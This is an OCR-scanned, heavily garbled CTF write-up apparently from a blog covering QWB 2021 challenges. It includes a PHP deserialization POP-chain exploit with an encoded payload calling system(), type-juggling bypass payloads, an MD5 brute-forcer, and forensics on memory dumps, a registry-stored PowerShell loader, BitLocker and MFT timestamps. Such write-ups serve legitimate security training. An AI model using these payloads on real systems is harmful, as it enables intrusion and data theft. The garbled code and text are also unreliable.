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I think you need /etc/hint . Before this you need to see the source code

BRI wiw. zip

[PS D:\Tools\Wek\Web_Path_Scaner‘\dirsearch® python . \dirsearch. py http:// eci-2zaTelw? j0E0boggb02v. cloudeci 1. i chungiv, com/ php, html, =ip

[Extensions: php, html, zip | HITP method: get | Threads: 10 | Wordlist =size: 6754
[Frror Log: D:%\Tools‘\Web'Wek_Path_Scaner‘dirsearch\logs\errors-21-06-12_15-03-01. 1og
[Target: http://eci-ZzeTeZwii0B0boggb02v. cloudecil. ichungiu, com/

[15:03:01] Starting:
[15:03:02] 400 - 150B - /%2e%Ze/goozle. com

[15:03:32] 301 3808 fess -r http://eci-2zeTelwi j0E0bogqb02v. cloudecil. ichungiu, com/css/
[15:03:40] 301 3838 fmages > http://eci-Z2zeTe2w?i0E0bogqb02v. cloudecil. ichungiu com/Images/
[15:03:41] 200 968 /index. php

[15:03:41] 200 GaD /index. php/login/

[15:03:42] 301 3708 fis -» http:f/eci-ZzeTelwTi0B0bogzab02v. cloudeci 1. ichimgin com/js/

[15:04:09] 200 T16B fworw. Tip

Tack Completed

[FS D:\Tools\Wek\Web_Path Scaner\dirsearch>
slog.csdn.net/mochu 77777

T A8 2YRID index.php

meta charset
<?php

error_reporting(1);

class Start

{

public $name
public $flag

public function _ construct(){

echo

public function _sayhello(){
echo $this->name;
return

public function _ wakeup(){




echo ;
$this-> sayhello();
)i
public function _ get($cc){
echo .$this

return ;

class Info
{
private $phonenumber=123123;

public $promise ;

public function _ construct(){
$this->promise

return $this->promise;

public function __ toString(){
return $this->file[ ]->ffiillee[

class Room

{
public $filename
public $sth_to_set;
public $a g

public function _ get($name){
$function $this->a;
return $function();

public function Get_hint($file){
$hint=base64_encode(file_get contents($file));
echo $hint;

return ;

public function __ invoke(){
$content = $this->Get_hint($this->filename);
echo $content;

if(isset($_GET][ 1)){
unserialize($_GET][ 1)
}else{
$hi = new Start();

a7 B ¥ P OP 44 3 SCAH 152 X

Room: :Get_hint()->Room:: invoke()->Room:: get()->Info:: toString()->Start:: sayhello()




<?php

class Start

{
public $name
public $flag

class Info

{
private $phonenumber=123123;
public $promise ;
public $file;

class Room

{
public $filename
public $sth_to_ set;
public $a;

new Start();
new Room();
new Info();
a new Room();
file[ ] $room;
name $info;
echo urlencode(serialize($start));

?>

0%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3B0%3A4%3A%221InT0%22%3A3%3A%7Bs%3A17%3A%22%00Inf0o%00phonenumbery
22%3B1%3A123123%3Bs%3A7%3A%22promise%22%3Bs%3A4%3A%221+d0%22%3Bs%3A4%3A%22f11e%22%3Ba%3A1%3A%7Bs%3A8%3A%22filena
me%22%3B0%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22f1ilename%22%3Bs%3A5%3A%22%2Ff1agk22%3Bs%3A10%3A%22sth_to_set%22%3
BN%3Bs%3A1%3A%22a%22%3B0%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22Filename%22%3Bs%3A5%3A%22%2Ff1agk22%3Bs%3A107%3A%22
sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3BN%3B%7D%7D%7D%7Ds%3A4%3A%22f1ag%22%3Bs%3A33%3A%22syst3m%28%22cat+127.0.0.1
52Fetc%2Fhint%22%29%3B%22%3B%7D

hiZmxhZ3tINjBjNDIOOSTKYWZhLTRKMjQtOTYWYi0TYTIKNmMJKNDEXYTd9

HackBar

LOAD SPLIT EXECUTE TEST -~ - - - - ENCODING ~ HASHING -~ THEME ~

http: 0j1
b

php -r
Command line code:1:
string(42)

[ M E&]FE




ichungiu.com

PARR, $5I25

ERNAA, MERESMr.SmithSiFftiins F Tangil—LEafHN=ES, EIEBREEE iR R AR,
BIHICE SR T —E5IR, eSS FERTEE

YRR, MrSmithi—MESHEANAE, BkRSEmETERER, IRAEEENES.
SEMSEFHER, ARSI BT SRS secret T, FEITIHREIE, MM, %125, Good Luckll!

ttps://blog.csdn.net/mochu7777777

sourcel.php

<?php
header(
error_reporting(0);
highlight_file(_ file_ );

function filter($string){
$filter_word array (

E) B} B} )J

$filter_phrase .implode( ,$filter_word).

return preg_replace($filter_phrase,'',$string);

if($ppp){
unset($ppp);

extract($_POST);

filter($ppp[
filter($ppp[
filter($ppp[
filter($ppp[
filter($ppp[

is numeric($numl




else{

if($numl > 1024){
echo ;
if(isset($num2) strlen($num2) intval($num2 + 1) 500000){
echo ;
if(isset($num3) substr(md5($num3),0,7)){
echo ;
if (! ($numd < 0)&&($numb 0)&&($nums 0)&&(strlen($numd) 6)&&(strlen($numa) 8)&&isset($nu

echo ;
if(!isset($nums5) || (strlen($num5)==0)) die( )
$b=json_decode (@$num5) ;
if($y = $b NULL){
if($y true){

echo ;

include

echo $KEVY1;

php
Command line code:1:
bool(false)

php -r
Command line code:1:
bool(true)

ppp[numberl]=1025a

BE:
e




ppp [ number2]=7e7

E=2:
15 F Pythonfa] 52 1) 42 i B ]

from hashlib import

@ll str

for sl in all str:
for s2 in all _str:
for s3 in all _str:
for s4 in all_str:
for s5 in all str:
for s6 in all str:
text sl s2 s3 s4 s5 s6
md5str = md5(text.encode()).hexdigest()
if md5str[0:7] :
print( . (text,md5str))
else:

pass

python .\md5.py
[+]1hj@ak : 4bf2lcddaefledaba7lbbl6e351211aa
[+]1tutsy : 4bf21cd6bf279dcd1d70933d19f2e521
[+]139gq1lq : 4bf21cdd7dc42f743952f8bfeddd5511
[+]dn6y57 : 4bf21cd833d41bldc51d62b6281a58ac
+]iyilgn : 4bf21cde2be98d076913517adf934c2a
+]nclxt@ : 4bf21cdf850d823481ec2785238cd682
ocslmb : 4bf21cd639d8f0440b0db6210c664b3d
udpown : 4bf2lcdbef5194b0d6ea345f51231269

[
[
[
[+]vt3bim : 4bf21cd988cf56ebaab690fa621671bs

]
]
]
]

+
+
+

ppp[number3]=1hj0ak

HENE:
R PR Bk

php -r

Command line code:1:
double(9)

ppp [ number4]=0e00000

BHE
json_decode () JoiEMID IR [H] NULL

iR[elE

BITTELAY PHP ZEEURAITE json ERSAIEEE, {Strue, false Hl null £IEAHEIRE] true, false 1 null, N5 json FSEEEENS, TEED
HIEFEET TEARSAE, S<REnll,




S L W T LA

B % payloadl F

ppp[numberl]=1025a&ppp[number2]=7e7&ppp[number3]=1hjoak&ppp[number4]=0e00000&ppp [ numbers]=mochu7

telsel
die("no”};
}
Yelsel
die("nolll”);
}

EEE_EE-_EEINEEREKEY1{e1e1d3d40573127e92e0480caf1283d6}
DiEEE N EE () ESES ) e

Encryption + Encoding ~ SQL ~ XSS~ Other ~

@ Load URL hitp-//eci-2zeafbcf6Tamwsgud9aa.cloudeci ichungiu.com/sourcel php
I Split URL
») Execute .
Post data Referer User Agent Cookies Clear All

ppplnumberi]=1025a&ppp[number2]=TeT7&ppp[number3]=1hjlak&ppp[numberd]=0e00000&ppp[number5]=mochu7

KEY1{eleld3d40573127e9ee0480caf1283d6}

source2.php

EEmE x| EF2 X ed-2zeafbcf67amwsgud9aa.clou X +

f67amwsgud9aa.cloudecil.ichungiu.com/source2.php

ER2

Mr.Smith5ed-FITangZE5 B HIRHEE—MNER#T T i, JTEEEERS T T —24RA
FISZAEREREMEEHMTICS, HEFEEN TR —EEE

gicsdn.netimochu?777

F# five_month.zip

IEERE » TE » EMAEIEZE » five_month

~

N ER R =2 Fh
5.1 410:33

5.2 2021/6/14 10:32



e » ME » [EMTE]ISE ¢ fivemonth » 51

~

5.3
5.4
5.5
5.6
5.7
5.8
5.9
5.10
511
5.12
513
5.14
5.15
5.16
517
5.18
5.19
5.20

£% B
VR_1
VR.2
VR 3
VR 4
VR S
VR.6
VR_7
VR 8
VR 9
VR_10
VR_11
VR_12
VR_13
VR 14
VR_15
VR 16
VR17
VR 18
VR_19
VR 20

2021/6/14 10:21
2021/6/14 10:35
2021/6/14 10:30
2021/6/14 10:36
2021/6/14 10:35
2021/6/14 10:30
2021/6/14 10:30
2021/6/14 10:34
2021/6/14 10:30
2021/6/14 10:30
2021/6/14 10:33
2021/6/14 10:34
2021/6/14 10:32
2021/6/14 10:37
2021/6/14 10:30
2021/6/14 10:30
2021/6/14 10:21
2021/6/14 10:36

EMEE

2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33
2021/6/14 10:33

HEE » TE > EMEEIEE » fivemonth » 5.1 » VR

~

=k -

@ Olp520F7yXTy2kiqQpDWIGaSy7.do..,
4zqkPlgiefoVVkdoZBb1AHV.docx

] bp44WgeASbScAwWgEVpHhy1 TX.docx
bTz1500Dy0720VZmBcavN3.docx

] DOzykC24P4AWSRROBgQwCv.docx
epNDv1GgEzlQI29z92CI Txu7QU. docx
] IhtRekSquGZZD2ygCigkCGyklZ.docx
iHYxTgZ8i5d1bAgRGROs71DFgCccBw...
] OFxM2oEqYMoVRh87FUzzi.docx

EaEE

2021/6/11 10:28
2021/6/11 10:28
2021/6/11 10:28
2021/6/11 10:28
2021/6/11 10:28
2021/6/11 10:28
2021/6/11 10:28
2021/6/11 10:28
2021/6/11 10:28
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DOCY 30
DOCX =0
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f FHPythonZ: 2B five_month T4/ docx U, I KEY2 KEEF
BRI docx [AH B

pip3 install python-docx

Pythonf] & b 2 B[l 7]

from os import

from docx import

def get _all files_path(path):
file_abs_path [1]
files _list one = listdir(path)
for foldersl in files_list_one:
files list_two []
path_one path foldersl
files list two listdir(path_one)
for folders2 in files_list_ two:
files _list_three []
path_two path_one folders2
files_list three listdir(path_two)
for file name in files_list_three:
file_path path_two file name
file abs_path.append(file_path)
return file_abs_path

def read_doc(path):
all files path_list get _all files_path(path)
for file path in all_files path_list:
if in file_path:
docx = Document(file path)
for doc in docx.paragraphs:
if in doc.text:
print( . (file _path, doc.text))
else:
pass
else:

continue

if _ _name__
path
read_doc(path)




E¥ PowerShell X . o
PS C:\Users\Administrator\Desktop\i& R S5\BEB\[BRMGEIZT=> 1s

Directory: C:\Users\Administrator\Desktop\EM#SS\FE\[EMEE]II=E

Mode LastWriteTime Length Name

2821/6/14 10:36 five_month

2021/6/14 12:36 TU4 code.py

2021/6/14 10: 1204859595 five_month.zip

2021/6/22 19:58 1018 SlgMa.py
-a—— 2021/6/14 13:11 669 test.py

PS C:\Users\Administrator\Desktop\3% [t #f S5\ A% &\ [ 8 [ 55 F %> python .\SlgMa.py

C:/Users/Administrator/Desktop/3E R #AS5/ME 3 /[ M 515 = /five_nonth/5.15/VR_4/P7hoSsIdttUqaIIxG2TVwWKTyi9.docx : KEY2{T5fo@0d618191S1G61114213a3ao0lnblfss}
PS C:\Users\Administrator\Desktop\& M #S5\BE\[BEMcE] S => |

=5 (2}
« v > BEFASS > BE > [EREESE > fuemonth > 515 > VR4 v o
=SS ~ oz - sEERE m o
MisC @) aytnesaFPMr2h1dHrbKLAW2sgPO.docx DOCX 37
wes (0] E13LiYB2MFhFxVgeQeV2nkm.docx DOCX 3%
3] hXu6041pUip3mOcn63wzql.docx DOCX 371 —
iﬂ%@]ﬂé& a mingN:R:;ukUZVAGFQDqKG docx DOCX 3274 BR B %= [ P7hossidry.. G2TVANKTYiO + o 4 0o
— (3] P7hoSslditUqallxG2TVWWKTyiS.doex DOCX 37 =z PO R ED) . mEsR 3B =8 0B =5 FETE 255% QEFES i AHE 1 A~
(0] U3CXOLAYOg5xF3G1apGiPaSQYNZo. DOCX 7%
five_month (0] wKmg7Unp7SWoThOIFAVORT.docx DOCX 374 & 2y Cambria -n AN Q- AaBbCcD AaBbCcl AaBbCcL AaBbCCDd _
51 1) 738ZhyVuOnkkhGDYgQnOMSA6xB.do. DOCX 7% [N #=E B J U-A-X X A-&L- A ia-4 w1 wE2 HE3 -
5.2 @] zyuuMOX72zwWD4Zol1M3XUtoZGhXG5. DOCX 378
53
54 £
55
56 &
57 [
8 1911U258ZS1zapuLAE5t7QcF63banCmClUy2qIFw5zDtnXytknPUQQIZFbiBKs DgMIX0am7 SG =
59 IFA30lE5brqA5eBv1iFbaclLmAm8ha29gbbKSFzqOIVVutDODyU ckEVBtNyByFK3gW9IGeW T
10 halngrL3FBTUy5GK87tIW0 0lz4wUZVi0IPxkovgMks97CxkOvhMZ0hkp 4z9Z9ZphRLgXKXU ]
1 SnRDI9NSEXmoaL.3RgBAGNN4yY3wLhuk3Bhribb0SDvISWn0IQra6PcgCounNvEszp250e5gh
312 Uw0O5YRCQNFGqRNyXFOHIF5 84T othUmMXPKzysm4fl0rhgtgZcEaFnqLI7R0GaQ7fFsH7rGg
13 UKCrUi7vC5GoxfGLIZY4q6 LHmvdqwvhWByowQ03AyC46QaiKAzGvQwg14GYGEheFOkZah
14 HOw0UQG8gWmoVSkc7iTgveiXVk5TBKguESMDnyeT SIUTW5W8gC4xwxDMDPzbaPx5e 635
315 T3TaHhWfReOulGEaQYXy8ntQs9S3ib
VR_1
VR_2 KEY2{T5fo00d61819151G61114213a3a01nblfsS}h
VR3
VR4
VRS
VR_6
VRT
VR
VR_®
VR_10
VR_11
VR_12
VR_13
VR_14 o
VR_I5 W1 WE: 1 T 11 @SE2sEx 71 Bk T2 Rsses ©$ BEZ0® L Hizwwr - —O + 52
VR_16

v

9-MNRE BT 1R 36.1KB

S1G61114213a3a0lnblfsS

RAZKEY1FKEY275 Zlflag

eci-2zeafbcf67amwsgud9aaclo. ar

b7

< O O B eci-2zeaf

jud9aa.cloudecil.ichungiu.com/key.php

flag{1cf2c0d0-564a-4543-914c-5e2f06a967 ce}

MISC
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flag{welcome _to qwb s5}

==

hitps:/iblog.csdmnet/mochu?77 "ﬁ’!

flag{welcome_to_qwb_s5}

BlueTeaming
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Powershell scripts were executed by malicious programs. What is the registry key that
contained the power shellscript content? (FSiflagisdElEIER)
B4 FEk 1EBS (GAME) SRR

E¥ PowerShell

PS D:\Tools\Misc\volatility_2.6_winél_standalone>

FEaEaEE=S: fantasicqwb2021

=

https://blog.csdn.net/mochu? 77 {_fij

\volatility.exe .\memory.dmp imageinfo

Volatility Foundation Volatility Framework 2.6

INFO : volatility.debug

Image date and time

k Determlnlng profile based on KDBG search.
Suggested Profile(s) :
AS Layerl :
AS Layer2 :
PAE type :
DTB :
KDBG :
Number of Processors :
Image Type (Service Pack) :
KPCR for CPU @ :
KPCR for CPU 1 :
KPCR for CPU 2 :
KPCR for CPU 3 :
KUSER_SHARED_DATA :
: 2820-11-26 13:680:41 UTC+0808
Image local date and time :

PS D:\Tools\Misc\volatility_2. 6 _win6l_standalone>

Win7SP1x64, Win7SPex64, Win20088R2SPOx6U, WanBBSRZSPlxﬁH 23418, Win2888R2SP1x64, Win7SP1x64_23418
WindowsAMDEUPagedMemory (Hernel AS)

FileAddressSpace (D:\Tools\Misc\volatility_2.6_win6u4_standalone\memory.dmp)
No PAE

0x187086L

8xf8eee82be3126L

u

1

exfffff8e882be5006L

axfffffagee2fonenoL

Oxfffff88002f7e00OL

exfffffa8aee9blieasL

Oxfffff78000000006L

2026-11-26 22:680:41 +69686
https:/iblog.csdn.net/mochu? 777777




i powershell JHIAERAE windows ikt HIiE, MiZE#FH reg query 224, F o010 Editor I HF, HEHRTFHR reg

query

it
¥ EATL s o IETTIE =TI
70 00 00 00 18 00
21 RB E1 6F F3 C3 D 1 1 ) !« 0. | «d00hAd.
21 AR El1 6F F3 C3 1 1 lxdo0dA0. | «dodh0.
00 00 00 a0 0o
20 Z0 00 00 oo
00 6F 00 00

] A0l e 10
00 79 00 00

00 &3 00 » 00
00 18 00 0
65 63 68
66 22
20 69 GE
22 48 4B
49 4E 45
72 73
6F 6D 6D
20 63 ©F
20 52

-

o
[

[w%]
=]

@echo off;.
/£ "tokens=*" %%
a in ('reg gquery
"HEEY LOCAL MAC
HINE\SOFTWARE\Mi
crosoft\Windows\
Communication™ /
v code ~| find /
i "REG SzZ"') do
0D 20 (. set wvar="
61 E5~a"; .. powe
65 ) ] 66 rshell —noprofil
25 ] ] 1 3 e "$var:~19,1500
OR 7 0 1 %;..)..for /T "t
6E ) 1 9 ckens=*" %%a in
65 ] g ('"reg guery "HEE
4F 1 ) 41 Y_LOCAT. MACHINE\
54 |57 41 5 ) 7 7 SOFTWARE\Microso
57 ft\Windows\Commu
61 nication™ /v cod
7c e *| find /i "RE
SR G S&"') do (..
65 set var="%%~a"
20 7 77 5 7 13 S5 Soc powershel
€E 1 —noprofile "%v
3n TE | 3] 1 5 ! ar:~19,1500%;..)
FF FF 11 Y¥¥¥,¥G
00 00
00 00
00 00

Am AR

L T T T I T S 3
L83 I o A T W R R

[IVRN ST
m o

-l 0 oy o @
[T T

(]

P
5
<]
&
<]
=
P

=1 N N Gy LN
W M w0

b

o
']

[
[ =

E3EZ1 4 4 'req query'.

5C765027h req query
5C7650F2h req guery
127161107h req querv
1271612420 req query

® ZueaTh P L 558 JE A% e

o https://blog.csdn.net/mochu 7777777
73 GeE: 4950725079 [127161107h] E| 4950725087 [12716110Fh])

X B {5 F powershell il A< £ 1 FOvE i 2 w5t R flag
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
ISO1995




1ISO1995

{8 : 7657
W SESEaARET W STAY ¥ 0x300R

We follow 1501995. ISO1995 has many problems though. One known problem is a
time.
P 3 2R (GAME) SR T
ERafiES: fantasicqwb2021

=3

https://blog.csdn.net/machu /7777 w’é

J78: https://webcache.googleusercontent.com/search?
g=cache:sleibHV0ffkJ:https://gist.github.com/iidx/70bc719bf5410080801e84406189cd49+&cd=1&hl=zh-CN&ct=clnk

with 5
data f.read()

pos_val {}
res [1]
for i, x in (re.finditer(rb
index = x.start()-12
index struct.unpack( , data[index:index+2])[0]

index_data 0x26800 (index * ©x800)

pos_val[index] data[index_data:index_data+1].decode(

for k, v in pos_val.items():
res.append(v)

print("".join(res))

PS C:\Users\Administrator\Desktop\3&M#S5\EM\1501995\f:> python .\flag.py

I1Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;I8M{Qi>W%|1vw<9_*2AG\SX_6{) 'n4)GwcPx8gp[6Z_".#Y(=zCs/2* DwpC6@=KBz\+OngA@C (cJSiE"
ShHIW, *Xu{Y>5rGyMWX_mY, htGLKLE™ pNNMYd?U\SF<%0,qeVflr$,CO@V.s-%.@C'&I2[362<k)NAZO~IgP-k=L-IpOURU_<P6T?/LF\~K~q6%7
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The attacker maliciously accessed the user's PC and encrypted specific volumes. How
to decrypt the volume? (FFflagiadEIE L)
P R RS (GAME) &H
ERafFE=: fantasicqwb2021

» & » Cipherman » M4 » CipherMan

~

E¥ B HEE =3 o
| | memory 2021/5/22 16:36 i 2,097,152
| | Secret 202175722 16:43 g 524,288 KB

a ’
Volatility Foundation Vo
INFO : wol

volatility -f memory imageinfo
amework 2.6
Determining profile b )
: Win75P1=86_: 8, Win75P@=8 i x 24000, Win7SP1x8
; e (Kernel AS)
AS Layer2 : A e (/home/mochu?/Downloads/memory )
PAE type :

Number of Pro
Image Type (Ser

[ :
ARED_DATA :
ge date and time : 20 B3-06 118 UTC+d000

Image lo +@900
a /

https://bloc In.net/mochu7

volatility -f memory --profile=Win7SP1x86 23418 filescan | grep 'txt'

a /home/mo volatility -f memory —-profile=Win7SP1=86_23418 filescan | grep 'txt'
Volatility Foundation tility Framework 2.6
B=00000000702 a B -W \De
B=000000007e N~1%AppData‘Llocally JFXSAPIDebuglogFile.

volatility -f memory --profile=Win7SP1x86 23418 dumpfiles -Q 0x000000007e€02af80 -D ./

3 2\ rshR ol 1\Desktop Locker &3 7| 168F1291-82C1-4BF2-B634-9CCCECA3EQED.
1 -W-rw- \Device\Har sk ! .



f#H FTK Imager % Secret

El

Elle View Mode Help

csdn.net/mochu/7 777777

Size Type Date Modified

Evidence Tree File List
Name
Custom Content Sources *
Evidence:File System|Path File Options
< >
New | Ed a g
Custom Conte...

For User Guide, press F1

RIEEHE T EB) cnd

Mount Image To Drive

Add Image
Image File:
C:\Users\Administrator\Downloads\Cipherman B 4\ CipherMan\Secret

Mount Type: | Physical & Logical bt
Drive Letter: Next Available (F:) bl
Mount Method: | lock Device / Read Only ~

C:\Users\Administrator \Downloads\Cipherman i 4 \CipherMan

Mount
Mapped Image List
Mapped Images:
Drive Method Partition Image
PhysicalDrive2  Block Device/Read ...  Image C:\Users\Administrator \Downloads \Ciphe|

Block Device/Read ... | Partition 1 [509M... | C:\Users\Administrator{Downloads \Ciphg

< >

Unmount

Close

e



e-bde -unlock E:

-RecoveryPassword 221628-533357-667392-449185-516428-718443-190674-375100

chu7f

R E 4

Secret (E:)
Jn

482 MB

"y

w
(= ]
&
m

Secret (E:)

I

-~
=

SRR e
B README &t

Fh

TXT 304

]

Bl £:\README.txt - Sublime Text (UNREGISTERED)
File Edit Selection

Find View Goto Tools Project Preferences Help
4 F  README.xt

1 Wow, you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.

hitps://blog.csdn.netmochu7 77

Wow, you have a great ability. How did you solve this? Are you a hacker? Pl

se give me a lesson later.
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Forensic.Find a file that a time attribute has been modified by a program. (FHflag’
FEIEEIERL)
P4 Tk 128 (GAME) &R &
ERaiEETE: fantasicqwb2021

y &k » EzTime » Hi4 » eztime

b
£ ET gk =3 o
|| $LogFile 2021/5/23 0:25 i 4,896 KB
L] $MFT 2021/5/23 0:25 g 512 KB

B38| MFT ¢ E37{F% Master File Table)) —HEFIETEE

@ i

FEFAREFEREERAFRESRATFNE ¥ -

MFT, RIE3#sR (Master File Table) BI&EFE, BENTFSIHRGANDL . MFTH—MMFTIR (MERRIHER) 4
B, B -MFTIRG 10245 BT E. S -MFTIRFTRIEEL T PEEEERREN, AREAFMFTIRFRECER. BHE
FRIFAE BN . S0 CHIERNERAESEMFTH, S HIBREPE—1-MFTIR. 2 75IFEMH, HisEME

A= ERFEEAAEMET, TEMFTHRIERNE S HFRAIMETIA, RIEMFTIRRIEENESHE S HAEH B TIARE.
NTFS(New Technology File System), B—EmR w5 .

B RRAERA TR B ) B e s o B SC . 8 X-Ways-Forensics 3TFF $MFT ,  Hlk T H - S48 SOk R
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3 X-Ways Forensics - [$MFT]
= R REE) /RO SHN ZTEV) IEM SUTEN ERO) BOMW ZEH

- x
2025R-4x64 _ &5 x

ODAEES 1 & + SSHH & L4
SMFT |
310+17+2=320 ¢k, 23 MAR Al
) TEERR 1423 ¥ ST STesoh  eigenE VSR - | iBREaRiE v r=IsE ~
I xm R 0 KB 2021/05/23d00:26:40 2021/0: 1 148
JLfR N K8 2021/05/23d00:26:40 2021/05/23d00:26:40 2021/05/23d00:26:40 1 140
JL0frcA N 6.0 KB 2021/05/23d00:26:40 2021/05/23d00:26:40 2021/05/23d00:26:40 1 136
JLIfi R FEN 8 2021/05/23d00:26:40 2021/05/23d00:26:40 2021/05/23d00:26:40 1 132
1 es X R €8 2021/05/23d00:26:40 2021/05/23d00:26:40 2021/05/23d00:26:40 1 124
Jldes A AR 5 KB 2021/05/23d00:26:40 2021/05/23d00:26:40 2021/05/23d00:26:40 1 120
Il esES N 5 KB 2021/05/23d00:26:40 2021/05/23d00:26:40 2021/05/23d00:26:40 1 116
Il den XM N .2 KB 2021/05/23d00:26:40 2021/05/23d00:26:40 2021/05/23d00:26:40 1 2
Il en L FEN .2 KB 2021/05/23d00:26:40 2021/05/23d00:26:40 2021/05/23d00:26:40 1 104
I den AE EN 5.2 K8 2021/05/23d00:26:40 2021/05/23400:26:40 2021/05/23400:26:40 1 9%
L 1de DE R €8 2021/05/23d00:26:40 2021/05/2300:26:40 2021/05/2300:26:40 1 5]
I 1da DK N .6 KB 2021/05/23d00:26:40 2021/05/23d00:26:40 2021/05/23d00:26:40 1 88
1 System Volume Information N 88 B 2021/05/23d00:25:03 2021/05/23d00:25:06 2021/05/23d00:25:06 SH 72
FFEN IVIE 2021/05/23d00:25:02 2021/05/23d00:25:02 2021/05/23d00:25:02 SH 22
8] (45EF6FFC-FOB6-4000-A7C0-8D1549355A8C) . png 14.0 KB[2021/05/23d00:28:34 2021/05/19d23:50:00 2021/05/23d00:32:48 + Y S
= ipg 2.3 MB 2021/05/23d00:20:37 2020/10/19d01:53:09 2021/05/23d00:29:37 A
1 15 1MG_2307.0PG R g 282 KB 2021/05/23d00:29:36 2020/10/19d23:50:01 2021/05/23d00:29:36 A
15 1MG_2306JPG ER ipg 745 KB 2021/05/23d00:29:35 2020/10/19d23:51:40 2021/05/23d00:29:35 A
1[5 IMG_2305.0PG EER irg 668 KB 2021/05/23d00:29:34 2020/10/19d23:51:09 A
)15 IMG_2304PG EN ipg 503 KB 2021/05/23d00:20:23 2020/10/19d23:50:42 A
1 IMG_2303.JPG S, AETREHE jpy 792 KB 2021/05/23d00:20:32 2020/10/19d23:52:05 A
1 1 IMG_2302.JPG BEFHE WEARERE jpg 753 KB 2021/05/23d00:29:31 2020/10/19d23:51:44 2021/05/23d00:29:31 A
1 IMG_2301JPG BT, AEEATHE o 723 KB 2021/05/23d00:28:30 2020/10/19d23:51:28 2021/05/23d00:29:30 A
1 IMG_2300JPG BEFE, AEUEERE o 709 KB 2021/05/23d00:29:30 2020/10/19d23:51:24 - A
1 £ IMG_2299.JPG RETFE, ETTREEREE jpo 546 KB 2021/05/23d00:29:29 2020/10/19d23:50:22 2021/05/23d00:29:29 A
11 IMG_2298JPG HETE, AETREHE jpy 765 KB 2021/05/23d00:20:28 2020/10/19d23:51:48 2021/05/23d00:29:28 A v
- BECHNCE: A A mE >~ O ;1 37 (14.0 KB)
offset | 0 1 2 3 4 5 ~ : frap
00025000 &6 48 4C 45 30 00 03 00 FD EZ 22 00 00 00 00 00
00025010 |01 00 01 00 38 00 01 00 98 01 00 00 00 04 00 00 FHFL: NTFS (SMFT only)
00025020 |00 00 00 00 00 00 00 00 03 00 00 00 94 00 00 00 > st
00025030 |03 00 00 00 00 00 00 00 10 00 00 00 €0 00 00 00 S
00025040 |00 00 00 00 00 00 00 00 48 00 00 00 18 00 00 00 B PR R
00025050 |00 €5 SA 82 27 4F D7 01 00 3A BA E1 C7 4C D7 01  eZ,'Cx :°&GLx |-=3 296
00025060 33 2F 04 1A 28 4F D7 01 00 65 S5A 82 27 4F D7 01 9/ (Ox eZ,'Ox $T
00025070 |20 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00 $Extend\$RmMetada..\§Tops\,
00025080 | 00 00 00 00 OB 01 00 00 00 00 00 40 Q0 90 00 00 4L
00025090 |00 00 00 00 00 00 00 00 30 00 00 00 BO 00 00 00 o
000250R0 |00 00 00 00 00 00 02 00 96 00 00 00 18 00 01 00 - 512 K8
00025080 05 00 00 00 00 00 05 00 34 D3 5D 82 27 4F D7 01 26], 'ox 524,288 T
000250C0 | 34 D3 5D 82 27 4F D7 01 34 D3 5D 82 27 4F D7 01 461,'0x 46],'0~
000250D0 | 34 D3 SD 82 27 4F D7 01 00 40 00 40 00 00 00 00 4],'Cx @ zﬁ;ﬁa ‘ZE
000250E0 | 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 8 L
000250F0 | 2R 00 7B 00 34 00 35 00 45 00 46 00 36 00 46 00 * { 4 SEF 6 F SEXFTHR 512
00025100 46 00 43 00 2D 00 46 00 30 00 42 00 36 00 2D 00 E C - F 0 B 6 - BRsrt: 1,024
00025110 34 00 30 00 30 00 30 00 2D 00 41 00 37 00 43 00 4 000 - A7 ¢C _
00025120 |30 00 2D 00 38 00 44 00 31 00 35 00 34 00 3500 0 - 801548 FrEi: RUERLIE T
00025130 33 00 35 00 35 00 41 00 38 00 43 00 7D 00 2E 00 3 5 52 8 C } . 2 =
00025140 |70 0O 6E 00 67 00 00 00 0 00 00 00 48 00 00 00 png € B i H7eER
00025150 |01 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 STFTH: Ze =
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